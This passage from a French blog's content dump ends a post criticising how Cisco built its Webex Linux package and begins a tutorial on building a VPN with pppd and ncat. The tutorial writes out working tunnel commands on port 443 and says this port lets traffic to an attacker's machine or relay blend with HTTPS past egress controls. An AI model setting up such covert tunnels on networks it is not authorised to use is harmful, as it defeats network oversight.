arrêterait. Rien ne l\u0026rsquo;a fait.\nPuis-je demander pourquoi ceci a été signé ? Puis-je demander pourquoi un paquet incapable de mener à bien une poignée de main TLS a été signé et publié contre une plateforme que votre propre page d\u0026rsquo;exigences liste comme prise en charge ? Pas qui l\u0026rsquo;a signé. Je n\u0026rsquo;ai aucun intérêt pour un nom et il ne s\u0026rsquo;agit pas d\u0026rsquo;une personne. Qu\u0026rsquo;est-ce qui l\u0026rsquo;a permis, car quelque chose l\u0026rsquo;a permis, quinze minutes après la fin du build, et quoi que ce soit, ça tourne encore aujourd\u0026rsquo;hui.\nMaintenant la version franche. Ce n\u0026rsquo;est pas un projet que j\u0026rsquo;ai tiré d\u0026rsquo;une forge en prenant mes risques. C\u0026rsquo;est payé. Il y a derrière un contrat, une ligne de support, une page d\u0026rsquo;exigences affirmant quelque chose sur Linux, et une clé de signature attestant que le paquet vient de Cisco et est apte à être installé. Chacun de ces éléments est une déclaration faite à un client, et sur cette version chacun valait zéro, parce que le résultat n\u0026rsquo;a jamais été ouvert.\nEt la norme manquée ici n\u0026rsquo;est pas la mienne. C\u0026rsquo;est la leur. Les quatre variables qui auraient porté ces chemins sont documentées dans une page de manuel que vous livrez dans le bundle. Votre propre format de paquet a un marqueur %config que vous n\u0026rsquo;avez pas utilisé et une section documentation que vous avez laissée vide. Votre propre build a tourné dans un conteneur que vous n\u0026rsquo;avez jamais utilisé pour lancer la sortie. Je ne demande pas à une entreprise de réseau et de collaboration d\u0026rsquo;inventer quoi que ce soit. Je demande pourquoi elle n\u0026rsquo;a pas lu ses propres manuels.\nAussi l\u0026rsquo;excuse que je n\u0026rsquo;accepterai pas, c\u0026rsquo;est que ce serait difficile. Ce n\u0026rsquo;est difficile pour personne, et ce n\u0026rsquo;est certainement pas difficile pour une entreprise qui fait ça tous les jours, à cette échelle, pour cet argent. Des professionnels qui font ça quotidiennement n\u0026rsquo;ont aucune excuse, et être grand n\u0026rsquo;en est pas une.\nEt puis-je en poser une de plus, parce que c\u0026rsquo;est celle qui compte vraiment. Vous vendez des pare-feux. Vous vendez une passerelle de messagerie, un concentrateur VPN, un service d\u0026rsquo;identité, un centre de gestion pour tout ça, et l\u0026rsquo;argumentaire sur chacun est que vous comprenez ça mieux que votre client. Alors comment une entreprise qui se présente comme une autorité en sécurité réseau livre-t-elle un client incapable de valider un certificat ? Pas qui échoue à le valider avec finesse. Incapable d\u0026rsquo;en chercher un, parce que le répertoire n\u0026rsquo;a jamais été là.\nIl n\u0026rsquo;existe aucune version de cette réponse que j\u0026rsquo;aie envie d\u0026rsquo;entendre qui commence par le fait que l\u0026rsquo;équipe bureau serait distincte de l\u0026rsquo;équipe appliance. C\u0026rsquo;est la même signature, la même chaîne, la même affirmation publiée sur une plateforme prise en charge, et la même étape manquante à la fin, qui est d\u0026rsquo;ouvrir la boîte. Si la validation des certificats n\u0026rsquo;est pas vérifiée avant livraison dans le produit où la casse est bruyante et inoffensive, je n\u0026rsquo;ai aucune raison de croire qu\u0026rsquo;elle l\u0026rsquo;est dans le produit où la casse est silencieuse et coûteuse.\nEt la partie honnête, dite simplement. Rien de tout cela ne m\u0026rsquo;a surpris. J\u0026rsquo;en suis venu à attendre ce niveau de cet éditeur, et c\u0026rsquo;est pourquoi, là où le choix est le mien, je n\u0026rsquo;achète pas son matériel et je ne bâtis pas dessus. Ce n\u0026rsquo;est pas une préférence de logo. C\u0026rsquo;est le jugement que je porterais sur n\u0026rsquo;importe quel fournisseur : j\u0026rsquo;ai mesuré son travail, plus d\u0026rsquo;une fois, et il revient toujours pareil. Le catalogue ci-dessus est une mesure. Ce qu\u0026rsquo;a coûté la première moitié de cet article en est une autre.\nLa raison pour laquelle j\u0026rsquo;étais sur Webex, c\u0026rsquo;est que le choix n\u0026rsquo;était pas le mien, et ça mérite d\u0026rsquo;être nommé, parce que c\u0026rsquo;est la position de la plupart des gens qui lisent ceci. Vous pouvez rarement éviter un éditeur dont vous avez déjà pris la mesure. Quelqu\u0026rsquo;un d\u0026rsquo;autre signe le contrat, le matériel arrive, et le premier à découvrir ce qui a été sauté dans le build, c\u0026rsquo;est vous, à votre bureau, avec une réunion qui commence.\nLivrer une chose qu\u0026rsquo;on n\u0026rsquo;a jamais lancée Il y aura une explication interne. Un sprint chargé, une chaîne qui a changé de mains, une plateforme sans propriétaire. Aucune ne vaut d\u0026rsquo;être entendue, parce que chacune décrit la même chose : le travail n\u0026rsquo;a pas été fait et rien dans le processus ne l\u0026rsquo;exigeait.\nIl existe dans les métiers manuels une vieille norme qui n\u0026rsquo;est jamais passée dans le logiciel : vous ne quittez pas le chantier avant d\u0026rsquo;avoir fait tourner la chose. Vous remplissez le réseau et vous vérifiez chaque raccord. Vous mettez le tableau sous tension et vous testez chaque circuit. Pas parce que vous doutez de votre travail. Parce que le client va s\u0026rsquo;en servir, et le découvrir devant lui n\u0026rsquo;est pas un résultat professionnel. Personne ne vous regarde le faire. Vous le faites quand même. C\u0026rsquo;est tout le sens du mot.\nLe logiciel passe trente ans à soutenir qu\u0026rsquo;il est différent, que le build est le livrable et que l\u0026rsquo;installation est le problème de quelqu\u0026rsquo;un d\u0026rsquo;autre, qu\u0026rsquo;une chaîne verte équivaut à un produit qui marche, et non. Un build qui n\u0026rsquo;a jamais été exécuté hors du conteneur qui l\u0026rsquo;a produit n\u0026rsquo;a pas été terminé, il a été abandonné au moment où finir devient ennuyeux. Tout ce qui vient après est une affirmation à propos d\u0026rsquo;un travail qui n\u0026rsquo;a pas été fait.\nLe correctif est une option de configuration. Le contrôle est une ligne de shell. Le coût ni de l\u0026rsquo;un ni de l\u0026rsquo;autre n\u0026rsquo;est ce qui est intéressant ; le nombre intéressant, c\u0026rsquo;est combien de gens ont tapé leurs identifiants dans une fenêtre Webex, l\u0026rsquo;ont regardée dire que leur internet était coupé, et l\u0026rsquo;ont cru, parce que Cisco le leur disait et que Cisco est une entreprise de réseau. Voilà ce que le test manquant a réellement acheté : pas un bug, un mensonge que le produit raconte avec assurance, à chaque lancement, à des gens qui n\u0026rsquo;ont aucun moyen de savoir.\nEt c\u0026rsquo;est la ligne à tracer avant de fermer l\u0026rsquo;onglet, parce que les deux moitiés de cet article ne sont pas deux sujets. Un chemin de confiance qui pointe sur un conteneur de build et un contournement d\u0026rsquo;authentification sur une appliance de périmètre sont la même faute à des enjeux différents. Les deux sont une valeur que personne n\u0026rsquo;a vérifiée, dans un artefact que personne n\u0026rsquo;a lancé, signé par un processus qui atteste la provenance et non l\u0026rsquo;aptitude. Celle que j\u0026rsquo;ai eue devant moi était de l\u0026rsquo;espèce inoffensive. Elle a cassé bruyamment, sur mon propre bureau, et j\u0026rsquo;ai été le premier au courant. L\u0026rsquo;autre espèce ne vous fait pas ce cadeau.\nLa même vérification manquante à deux niveaux d'enjeu, et une seule vous le dit Une vérification manquante, deux enjeux. Un seul vous dit qu'il est là. Même faute : une valeur que personne n'a vérifiée, dans un artefact que personne n'a lancé, signé pour la provenance, pas l'aptitude Celle qui casse bruyamment ce que c'était un chemin de magasin de confiance inexistant qui l'a trouvée le client, au premier lancement ce qu'elle a coûté une soirée, un bureau qui l'a su moi, tout de suite Finit écrite en public. Celle qui ne casse rien ce que c'était une longueur que personne n'a bornée qui l'a trouvée celui qui la cherchait ce qu'elle a coûté un incident qui l'a su le client, par le rapport Finit en 1 des 98 de Cisco au catalogue. Un processus qui n'attrape pas la colonne de gauche n'allait jamais attraper celle de droite. La différence est la chance, pas la rigueur. Le défaut de cet article et les entrées de ce catalogue sont la même faute sous d\u0026rsquo;autres habits. L\u0026rsquo;un s\u0026rsquo;est annoncé sur mon bureau au premier lancement. L\u0026rsquo;autre espèce s\u0026rsquo;annonce d\u0026rsquo;abord à quelqu\u0026rsquo;un d\u0026rsquo;autre. Personne chez Cisco n\u0026rsquo;a décidé de livrer un pare-feu exploitable, pas plus qu\u0026rsquo;ils n\u0026rsquo;ont décidé de livrer un client incapable d\u0026rsquo;atteindre internet. Ce n\u0026rsquo;est pas une défense. C\u0026rsquo;est l\u0026rsquo;accusation. Ni l\u0026rsquo;un ni l\u0026rsquo;autre n\u0026rsquo;a besoin d\u0026rsquo;être décidé, et c\u0026rsquo;est précisément le problème : les deux sont ce qui sort à l\u0026rsquo;autre bout quand une chaîne compile, signe et publie sans que personne soit rendu responsable d\u0026rsquo;ouvrir le résultat. Un processus qui n\u0026rsquo;attrapera pas un répertoire qui n\u0026rsquo;existe pas n\u0026rsquo;allait jamais attraper une longueur qui n\u0026rsquo;est pas vérifiée, et un éditeur qui vous vend l\u0026rsquo;appliance gardant votre périmètre n\u0026rsquo;a pas droit à ce processus.\nAlors quand le nom d\u0026rsquo;un éditeur revient sans cesse sur cette liste, résistez à l\u0026rsquo;explication confortable qu\u0026rsquo;il est simplement gros et fortement visé. L\u0026rsquo;échelle explique le volume. Elle n\u0026rsquo;explique pas le genre. Regardez plutôt ce que son processus de build fait des choses ennuyeuses, parce que les choses ennuyeuses sont mesurables de l\u0026rsquo;extérieur, par vous, aujourd\u0026rsquo;hui, sur du matériel que vous possédez déjà.\nVérifiez vos propres bundles. strings, readelf et vingt minutes vous diront lesquels de vos éditeurs livrent un chemin vers une machine que vous ne verrez jamais. Ce que vous mesurez en réalité, ce n\u0026rsquo;est pas le chemin. C\u0026rsquo;est si quelqu\u0026rsquo;un là-bas regardait, et si la réponse est non sur quelque chose d\u0026rsquo;aussi bon marché à attraper, vous savez déjà ce qu\u0026rsquo;elle est sur ce qui ne l\u0026rsquo;est pas.\nCisco — Webex App system requirements — la liste des plateformes prises en charge, Linux compris.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — INSTALL.md, --openssldir — « Directory for OpenSSL configuration files, and also the default certificate and key store. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — SSL_CTX_load_verify_locations(3) — le fichier CA par défaut est cert.pem et le répertoire CA par défaut certs, tous deux à l\u0026rsquo;intérieur du répertoire OpenSSL par défaut ; et sur les valeurs de retour, « A missing default location is still treated as a success. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nConan 2 — conan cache — les binaires de paquets vivent sous un chemin haché dans le cache local, d\u0026rsquo;où vient /workspace/.conan2/p/b/\u0026lt;hash\u0026gt;/p.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — openssl-env(7) — SSL_CERT_DIR et SSL_CERT_FILE « specify the default directory or file containing CA certificates ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — provider(7) — le fournisseur par défaut et ce qu\u0026rsquo;une configuration qui l\u0026rsquo;omet rend indisponible.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenSSL — config(5) — le fichier de configuration qu\u0026rsquo;OpenSSL charge à l\u0026rsquo;initialisation, et où il est cherché.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfreedesktop.org — XDG Base Directory Specification — « The base directory defined by $XDG_DATA_HOME is considered more important than any of the base directories defined by $XDG_DATA_DIRS. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nfreedesktop.org — Desktop Entry Specification — où les fichiers .desktop sont cherchés et comment l\u0026rsquo;un masque un autre du même nom.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFilesystem Hierarchy Standard 3.0 — les répertoires qu\u0026rsquo;un système de fichiers racine est censé contenir, /workspace n\u0026rsquo;en faisant pas partie.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nupdate-ca-trust(8) — comment le paquet consolidé sous /etc/pki/ca-trust/extracted est produit sur Fedora et ses dérivés.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nld.so(8) — $ORIGIN se développe en le répertoire contenant le programme ou l\u0026rsquo;objet partagé, ce qui rend un arbre embarqué déplaçable.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nglibc timeline — « 2018-08-01 GLIBC 2.28 — The GNU C Library version 2.28 is now available ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nglibc — Release wiki — le tableau version/distribution ; Red Hat Enterprise Linux 8, c\u0026rsquo;est glibc 2.28.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRPM — spec file reference — %config et ce que le gestionnaire de paquets fait d\u0026rsquo;un fichier marqué comme configuration.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFedora packaging guidelines — configuration files — quand un fichier livré doit être marqué %config.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nglibc FAQ — pourquoi un binaire glibc lié statiquement a quand même besoin des modules NSS de l\u0026rsquo;hôte à l\u0026rsquo;exécution.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCISA — Known Exploited Vulnerabilities Catalog — compté depuis le flux JSON publié, version de catalogue 2026.09.14, 1 710 entrées.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/certificates/webex-certificates-on-a-build-server/","summary":"Webex 46.8.0.35631 sur Fedora 44 reste derrière une bannière jaune affichant « Offline - No internet connection » alors que tous les autres programmes de la machine atteignent internet sans se plaindre. Ça a coupé la ligne VoIP net. Le réseau n\u0026rsquo;a jamais été le problème : Cisco livre son propre fork d\u0026rsquo;OpenSSL et l\u0026rsquo;a compilé avec OPENSSLDIR pointant sur /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl, un répertoire qui existe sur un conteneur de build et nulle part ailleurs, donc il ne charge aucune ancre de confiance et toute poignée de main échoue. L\u0026rsquo;article se déroule dans l\u0026rsquo;ordre : ce qu\u0026rsquo;est vraiment l\u0026rsquo;état cassé, demander à la bibliothèque livrée où elle croit que vivent ses certificats, reproduire le code d\u0026rsquo;erreur exact hors de Webex, pourquoi rien ne vous prévient, les deux correctifs qui ne marchent pas et pourquoi, et celui qui marche. Puis le processus de build : ils ont utilisé $ORIGIN pour le code et laissé trois chemins de données absolus, l\u0026rsquo;en-tête du RPM nomme un identifiant de conteneur, donc le conteneur était déjà dans la chaîne et n\u0026rsquo;a jamais servi à exécuter le résultat, le paquet exige une glibc de 2018 parce qu\u0026rsquo;ils refusent de lier statiquement, 2,2 Go sont livrés deux fois, et il ne porte aucune documentation ni aucun fichier marqué comme configuration. Puis comment il aurait fallu le construire, les six correctifs et le contrôle d\u0026rsquo;une ligne qui l\u0026rsquo;attrape. Et enfin le recoupement : Cisco détient 98 entrées au catalogue des vulnérabilités activement exploitées de la CISA, derrière Microsoft seulement, et un chemin de confiance que personne n\u0026rsquo;a vérifié et un contournement que personne n\u0026rsquo;a vérifié sont la même faute à des enjeux différents.","title":"Webex cherche vos certificats sur un serveur de build Cisco"},{"content":"Un VPN n\u0026rsquo;est pas un produit. Ce sont deux tâches vissées ensemble, et votre machine a déjà un programme pour chacune.\nLa première tâche, c\u0026rsquo;est fabriquer un lien virtuel — une interface qui ressemble à une carte réseau, prend des paquets IP et les passe ailleurs. La seconde, c\u0026rsquo;est transporter les octets de ce lien d\u0026rsquo;un bout à l\u0026rsquo;autre. Achetez un boîtier VPN et vous achetez les deux tâches avec une licence agrafée dessus ; faites-le vous-même et chacune est un programme déjà installé. Il y a deux façons de faire la première tâche sous Linux, et ce billet construit les deux : pppd, qui apporte tout un protocole de lien — adresses négociées, une vérification de vivacité, du tramage — et un tap, qui n\u0026rsquo;apporte rien et n\u0026rsquo;est qu\u0026rsquo;un trou dans le noyau où vous poussez des trames. Des compromis différents, pas des concurrents, et la seconde moitié les met côte à côte.\nCe protocole, c\u0026rsquo;est PPP, et la raison pour laquelle cela marche est écrite dans son premier paragraphe : PPP est un protocole de lien pour les liaisons point à point1, et il ne précise pas de quoi le lien est fait. Un modem et une ligne téléphonique étaient la réponse d\u0026rsquo;origine. Ils n\u0026rsquo;ont jamais été la seule. PPTP a mis PPP dans GRE2. L2TP l\u0026rsquo;a mis dans UDP3. PPPoE l\u0026rsquo;a mis dans des trames Ethernet. Chacun est le même protocole avec un coursier différent, et aucun n\u0026rsquo;a eu besoin de changer PPP pour le faire.\nLa question n\u0026rsquo;est donc pas de savoir si vous pouvez faire tourner PPP sur un socket TCP ou UDP, mais lequel, et ce que cela coûte. La réponse courte, calcul à l\u0026rsquo;appui : prenez UDP. Faire tourner un protocole de flux dans un flux fiable est la seule erreur ici qui a l\u0026rsquo;air bien sur votre bureau et s\u0026rsquo;effondre sur une vraie liaison.\nUn VPN, C\u0026rsquo;est Deux Tâches. Vous Avez Déjà Les Deux. Retirez le marketing de n\u0026rsquo;importe quel tunnel et trois choses se produisent : quelque chose présente une interface virtuelle et transforme des paquets en flux d\u0026rsquo;octets, quelque chose transporte ce flux sur un réseau qui fonctionne déjà, et quelque chose le chiffre, ou rien ne le fait.\nChaque tunnel est une moitié lien, un transporteur et de la cryptographie Les mêmes trois pièces à chaque fois. Seuls le transporteur et la crypto changent. TUNNEL MOITIÉ LIEN TRANSPORTEUR CRYPTO PPP commuté, 1994 PPP modem et ligne téléphonique aucun PPPoE PPP trames Ethernet aucun PPTP PPP GRE MPPE — cassé, ne pas L2TP sur IPsec PPP UDP IPsec Ce billet, construction un PPP sur un pty socket UDP, via netcat DTLS Ce billet, construction deux tun ou tap socket UDP, via socat DTLS WireGuard interface du noyau UDP Noise, et rien à négocier Chaque tunnel de cette liste a la même forme. Les différences sont dans quel transporteur vont les octets, et si quoi que ce soit les chiffre. PPP fait la moitié « lien » depuis 1994, c\u0026rsquo;est pourquoi il apparaît sous trois d\u0026rsquo;entre eux sans avoir été refait pour aucun. Un tun ou un tap fait la même moitié sans aucun protocole, et c\u0026rsquo;est la seconde construction de ce billet. PPP fait la moitié « lien » proprement — négociation d\u0026rsquo;adresses, une vérification de vivacité, compression d\u0026rsquo;en-tête, plusieurs protocoles de couche réseau sur un lien, une étape d\u0026rsquo;authentification si vous voulez — beaucoup de travail fini qui traîne dans /usr/sbin sans rien faire. Ce qu\u0026rsquo;il ne fait pas, c\u0026rsquo;est se soucier du transporteur : donnez-lui un descripteur de fichier qui déplace des octets dans les deux sens et il tourne dessus. Netcat est un programme dont le seul but est d\u0026rsquo;être ce descripteur de fichier.\nLe chiffrement est la partie que personne ne vous tend, et la partie que la plupart de ce billet passe à gagner, parce que netcat n\u0026rsquo;a pas de réponse pour elle et faire comme si de rien n\u0026rsquo;était est la façon dont les gens construisent des choses qu\u0026rsquo;ils ne devraient pas.\nLes Étapes, Et Pourquoi Elles Vont Dans Cet Ordre Tout ci-dessous se construit par étapes, chacune ajoutant une chose à la précédente. Ce n\u0026rsquo;est pas un procédé pédagogique. C\u0026rsquo;est comme ça qu\u0026rsquo;il faut le construire, car quand l\u0026rsquo;étape six casse, vous devez savoir si l\u0026rsquo;étape deux marche encore, et vous ne le savez que si l\u0026rsquo;étape deux a été un jour une chose que vous avez fait tourner seule.\nSix étapes, chacune ajoutant une chose que vous pouvez tester seule Construisez dans cet ordre et vous pourrez toujours redescendre 1 En clair, sur TCP pppd avec un pty, ou un tap, et un simple écouteur netcat. Marche sur un banc. Fond sur un vrai chemin — deux temporisateurs de retransmission qui se battent. 2 En clair, sur UDP Même lien, transporteur à datagrammes. Un datagramme perdu est un paquet perdu, rien de plus. C'est le socle. Tout ce qui est au-dessus est facultatif ; ceci ne l'est pas. 3 TLS, sur TCP ncat, stunnel ou openssl enveloppant le transporteur. Vérifiez le certificat aux deux bouts, sinon vous avez du chiffrement sans identité et aucun contrôle d'accès. 4 DTLS, sur UDP socat ou openssl, et la forme à viser : chiffrée, authentifiée, toujours en datagrammes. Un paquet perdu reste un paquet perdu au lieu de deux piles qui se disputent. 5 Compressée zstd entre l'interface et le transporteur. Gardez la fenêtre d'une trame à l'autre là où le transporteur livre dans l'ordre ; une trame autonome par datagramme, plus un dictionnaire, sinon. 6 Les deux, dans cet ordre Compresser, puis chiffrer. Jamais l'inverse — le texte chiffré ne se compresse pas. Et sachez le prix : compresser avant de chiffrer fuit la longueur du clair. Acceptable sur votre propre trafic. Six étapes, chacune ajoutant une chose à celle du dessous. Brut sur TCP est là où tout le monde commence, et le seul barreau qui soit une impasse : il tourne sur l\u0026rsquo;établi et fond sur une vraie liaison. Brut sur UDP est le socle sur lequel tout le reste repose. Puis le chiffrement, puis la compression, puis les deux ensemble. Chaque étape est un lien que vous pouvez monter, pinguer et laisser tourner, de sorte que, quand le haut de l\u0026rsquo;échelle fait des siennes, vous pouvez la redescendre barreau par barreau. Le lien lui-même se construit de la même façon — le raisonnement derrière la rampe d\u0026rsquo;une seconde plus bas : un tunnel monte en brut, prouve qu\u0026rsquo;il peut porter une trame, et ne devient malin qu\u0026rsquo;ensuite. Une construction qui allume tout d\u0026rsquo;un coup tombe en un seul bloc, et vous passez la soirée à deviner quelle couche l\u0026rsquo;a fait.\nCe Que pppd Veut Vraiment, C\u0026rsquo;est Un Descripteur De Fichier pppd a été écrit pour les ports série, donc la lecture naïve est qu\u0026rsquo;il lui faut un port série. Non. Il lui faut un périphérique terminal, et il s\u0026rsquo;en fabrique un tout seul :\npty script — Specifies that the command script is to be used to communicate rather than a specific terminal device. Pppd will allocate itself a pseudo-tty master/slave pair and use the slave as its terminal device. The script will be run in a child process with the pseudo-tty master as its standard input and output.4\nRelisez ça — toute la construction est dedans. pppd fabrique un pseudo-terminal, garde l\u0026rsquo;esclave, et remet le maître à une commande comme stdin et stdout. Ce que cette commande fait des octets ne regarde pas pppd. Lancez nc là et ils descendent un socket.\npppd, un pseudo-terminal, netcat et une socket Un paquet, de ppp0 à ppp0, et toutes les mains par lesquelles il passe HÔTE A HÔTE B ppp0 interface du noyau pppd tramage HDLC paire de pty esclave pour pppd maître pour l'enfant ncat stdin et stdout paire de pty maître pour l'enfant esclave pour pppd ncat stdin et stdout pppd tramage HDLC ppp0 interface du noyau la socket — TCP ou UDP Les deux boîtes du milieu sont la seule part que vous choisissez. Tout le reste est identique que le transporteur soit une ligne téléphonique, une console série, un flux TCP, un flot de datagrammes UDP ou une session TLS — d'où le fait que changer de transporteur coûte un mot. Un pseudo-terminal n'a pas de broche de détection de porteuse, donc pppd attend une porteuse qui n'arrive jamais. L'option `local` est ce qui l'arrête. pppd parle du HDLC asynchrone dans le côté esclave d\u0026rsquo;un pseudo-terminal qu\u0026rsquo;il s\u0026rsquo;est alloué. La commande nommée par pty hérite du côté maître comme stdin et stdout. Netcat copie stdin vers un socket et le socket vers stdout, de sorte que les deux instances pppd se parlent à travers la paire pty et le réseau sans qu\u0026rsquo;aucune ne sache qu\u0026rsquo;un socket existe. Il y a une seconde voie, notty, qui utilise à la place les stdin et stdout de pppd. Mais elle lance un processus de dérivation de caractères par lequel chaque octet passe, si bien qu\u0026rsquo;elle « increases the latency and CPU overhead »4. Prenez pty, sauf raison de ne pas le faire.\nTrois faits pratiques avant la première commande, tous vérifiés sur la machine où ceci a été écrit — Fedora 44, ppp-2.5.1-7.fc44 :\n$ pppd --version pppd version 2.5.1 $ ls -l /usr/bin/pppd /dev/ppp -rwxr-xr-x. 1 root root 393784 Jan 17 2026 /usr/bin/pppd crw-------. 1 root root 108, 0 Sep 14 08:34 /dev/ppp $ pppd noauth nodetach pty \u0026#39;true\u0026#39; pppd: using the noauth option requires root privilege Il faut root. Pas moyen d\u0026rsquo;y couper. Le binaire n\u0026rsquo;est pas setuid sous Fedora, /dev/ppp est en mode 0600 appartenant à root, et les options dont vous avez besoin sont de toute façon privilégiées. C\u0026rsquo;est une chose que vous lancez en root ou sous un fichier d\u0026rsquo;unité, pas une chose qu\u0026rsquo;un utilisateur fait à la légère. Cela compte plus tard, quand nous arriverons à ce que cela signifie pour votre politique d\u0026rsquo;egress.\nLe côté noyau est modulaire. ppp_generic fait l\u0026rsquo;interface, ppp_async le tramage à bourrage d\u0026rsquo;octets dont un pty a besoin, et ppp_deflate/bsd_comp/ppp_mppe la compression et le chiffrement ; ils se chargent à la demande. Si ppp_async manque dans une image de conteneur allégée, le lien monte et ne porte rien — une demi-heure misérable si vous ne savez pas où regarder.\nLes lignes de contrôle du modem n\u0026rsquo;existent pas sur un pty. Sans broche de détection de porteuse, pppd attend une porteuse qui ne vient jamais. La solution tient en un mot, local, qui lui dit d\u0026rsquo;ignorer les lignes de contrôle du modem4. Omettez-le et rien ne se passe, sans erreur digne d\u0026rsquo;être lue.\nNetcat N\u0026rsquo;Est Pas Un Seul Programme Avant la construction, le piège qui mange le plus de temps : « netcat » est au moins quatre programmes aux drapeaux incompatibles, et lequel vous obtenez dépend de votre distribution. Sur cette machine /usr/bin/nc est un lien symbolique vers /usr/bin/ncat, la réécriture de Nmap. Une commande copiée d\u0026rsquo;une page wiki vieille de quinze ans échoue donc pour des raisons qui n\u0026rsquo;ont rien à voir avec PPP.\nImplémentation Écouter sur un port UDP Reste debout après la déconnexion d\u0026rsquo;un pair Ncat (Nmap) ncat -l 443 -u -k / --keep-open OpenBSD netcat nc -l 443 -u -k Traditional netcat nc -l -p 443 -u non GNU netcat nc -l -p 443 -u non Vérifiez donc lequel vous avez avant d\u0026rsquo;accuser pppd :\nreadlink -f \u0026#34;$(command -v nc)\u0026#34; nc --version 2\u0026gt;\u0026amp;1 | head -1 || nc -h 2\u0026gt;\u0026amp;1 | head -1 J\u0026rsquo;utilise explicitement ncat ci-dessous. C\u0026rsquo;est celui avec TLS intégré, ce qui compte plus tard, et être explicite signifie que les commandes ne veulent pas silencieusement dire autre chose sur votre machine.\nÉtape Un : La Construction TCP, Parce Que C\u0026rsquo;est Ce Que Tout Le Monde Essaie D\u0026rsquo;Abord Un bout écoute, un bout se connecte. Les adresses ici viennent de la plage de documentation, vous pouvez donc les coller directement dans un labo sans rien blesser de routable. Le port est 443 partout, et c\u0026rsquo;est délibéré : le 443 sortant est ouvert par défaut sur presque tous les réseaux. Enveloppez le transporteur dans TLS quelques étapes plus bas et le trafic dessus est indiscernable de n\u0026rsquo;importe quelle session HTTPS. Y lier un écouteur demande root, ce que le bout distant — la propre machine de l\u0026rsquo;attaquant, ou un relais — a. C\u0026rsquo;est tout l\u0026rsquo;argument de l\u0026rsquo;egress dans un numéro de port, et j\u0026rsquo;y reviendrai.\nAu bout qui écoute :\npppd nodetach noauth local passive \\ nodefaultroute noipdefault \\ 192.0.2.1:192.0.2.2 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat --listen --keep-open 443\u0026#39; Au bout qui se connecte :\npppd nodetach noauth local \\ nodefaultroute noipdefault \\ 192.0.2.2:192.0.2.1 \\ lcp-echo-interval 10 lcp-echo-failure 3 \\ mtu 1400 mru 1400 \\ pty \u0026#39;ncat 198.51.100.10 443\u0026#39; Chaque mot là fait un travail, et l\u0026rsquo;un d\u0026rsquo;eux, noauth, fait des dégâts discrets. Le tunnel n\u0026rsquo;a aucun contrôle d\u0026rsquo;accès, une section à lui plus loin.\nChaque mot de la ligne pppd, et ce qu'il fait La ligne de commande de la construction UDP, mot par mot nodetach au premier plan, pour voir sa sortie et le mettre sous un superviseur noauth pas d'authentification du pair — c'est le trou ; le tunnel n'a aucun contrôle d'accès local ignore les lignes de contrôle modem qu'un pty n'a pas. Sans elle, rien ne monte passive attend un paquet LCP valide au lieu de sortir — comportement de socket serveur nodefaultroute ne s'empare pas de la route par défaut quand IPCP finit. Posez la route voulue vous-même noipdefault ne propose pas l'adresse propre de la machine comme bout local 192.0.2.1:192.0.2.2 local:distant, fixé — pppd rejette toute autre réponse pendant IPCP lcp-echo-interval / -failure la vérification de vivacité — sa propre section plus bas mtu / mru 1400 laisse de la place pour ce que le transporteur enroule autour de chaque trame pty '...' la commande dont stdin et stdout deviennent le lien — ici, une socket netcat Le bout qui connecte est la même ligne sans `passive` : il initie au lieu d'attendre. Chaque option de la ligne et ce qu\u0026rsquo;elle fait. Celle à surveiller est noauth : elle abandonne l\u0026rsquo;authentification du pair, si bien que l\u0026rsquo;écouteur accepte quiconque arrive. nodefaultroute et noipdefault empêchent le lien de réécrire discrètement votre routage, local le fait monter sur un pty tout court, et la paire épinglée local:remote empêche pppd de prendre une autre réponse pendant IPCP. Le bout qui se connecte est la même ligne sans passive. Montez les deux bouts et vous obtenez un ppp0 sur chacun, une route point à point vers l\u0026rsquo;adresse distante, et une interface que vous pouvez pinguer, router et tcpdumper. C\u0026rsquo;est un VPN — aucun paquet installé, aucun daemon configuré, aucune clé échangée, ce qui est le problème, et j\u0026rsquo;y reviendrai.\nCe Qu\u0026rsquo;Il A Négocié, Et Comment Le Regarder Ajoutez debug et pppd journalise l\u0026rsquo;échange des protocoles de contrôle, ce qui vaut d\u0026rsquo;être lu une fois même si vous ne le relisez jamais. Le lien monte par étapes, et chaque étape peut échouer seule.\nLCP, puis l'authentification, puis un protocole de contrôle par famille d'adresses Trois étapes, et chacune échoue pour sa propre raison 1 LCP — le lien lui-même Unité de réception maximale, la carte de contrôle, un nombre magique contre une ligne rebouclée, et si l'un des bouts veut que l'autre s'authentifie. Un échec ici et le transporteur ne fait pas passer les octets proprement dans les deux sens. Regardez la socket, pas les options PPP. 2 Authentification — facultative PAP envoie un mot de passe en clair. CHAP fait un défi et une réponse MD5. Sautée ici. Les deux prouvent qui est le pair. Aucune ne chiffre un seul octet de ce qui suit. 3a IPCP L'adresse IPv4 à chaque bout. 3b IPV6CP Les identifiants d'interface 64 bits. Ces deux-là sont 